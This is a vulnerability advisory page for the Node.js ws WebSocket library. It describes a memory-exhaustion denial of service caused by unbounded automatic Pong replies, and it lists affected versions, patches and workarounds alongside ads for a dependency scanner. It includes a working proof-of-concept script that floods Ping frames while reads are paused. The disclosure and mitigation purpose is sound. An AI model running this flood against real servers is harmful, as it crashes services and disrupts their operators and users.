ws: Memory exhaustion DoS via unbounded automatic pong responses
Published 1 Dec 2026 · Updated 1 Dec 2026
Affected packages
- Affected
- <5.2.8
- Fixed in
- 5.2.8
npm install ws@5.2.8- Affected
- >=6.0.0 <6.2.7
- Fixed in
- 6.2.7
npm install ws@6.2.7- Affected
- >=7.0.0 <7.5.14
- Fixed in
- 7.5.14
npm install ws@7.5.14- Affected
- >=8.0.0 <8.23.0
- Fixed in
- 8.23.0
npm install ws@8.23.0Which ws does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.
Public repo?
Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Impact
A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(125);
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
ws.pause();
(function ping() {
ws.ping(data, function (err) {
if (err) return;
ping();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});Patches
The vulnerability was fixed in ws@8.23.0 (https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to ws@7.5.14 (https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), ws@6.2.7 (https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and ws@5.2.8 (https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1).
Workarounds
In vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the autoPong option to false, if available.
Credits
The vulnerability was responsibly disclosed by multiple reporters:
Is GHSA-37g9-w4hg-h9qr in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected ws, and gives you the command that fixes it.
More advisories for ws
- HighCVE-2026-48779ws: Memory exhaustion DoS from tiny fragments and data chunks · 15 Jun 2026
- MediumCVE-2026-45736ws: Uninitialized memory disclosure · 18 May 2026
- HighCVE-2024-37890ws affected by a DoS when handling a request with many HTTP headers · 17 Jun 2024
- MediumCVE-2021-32640ReDoS in Sec-Websocket-Protocol header · 28 May 2021
- HighGHSA-5v72-xg48-5rpmDenial of Service in ws · 4 Jun 2019
- HighCVE-2016-10542DoS due to excessively large websocket message in ws · 18 Feb 2019
References
- Linkgithub.com/websockets/ws/security/advisories/GHSA-37g9-w4hg-h9qr
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-140009
- Linkgithub.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1
- Linkgithub.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe
- Linkgithub.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7
- Linkgithub.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63
- Packagegithub.com/websockets/ws
- Linkgithub.com/websockets/ws/releases/tag/5.2.8
- Linkgithub.com/websockets/ws/releases/tag/6.2.7
- Linkgithub.com/websockets/ws/releases/tag/7.5.14
- Linkgithub.com/websockets/ws/releases/tag/8.23.0
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.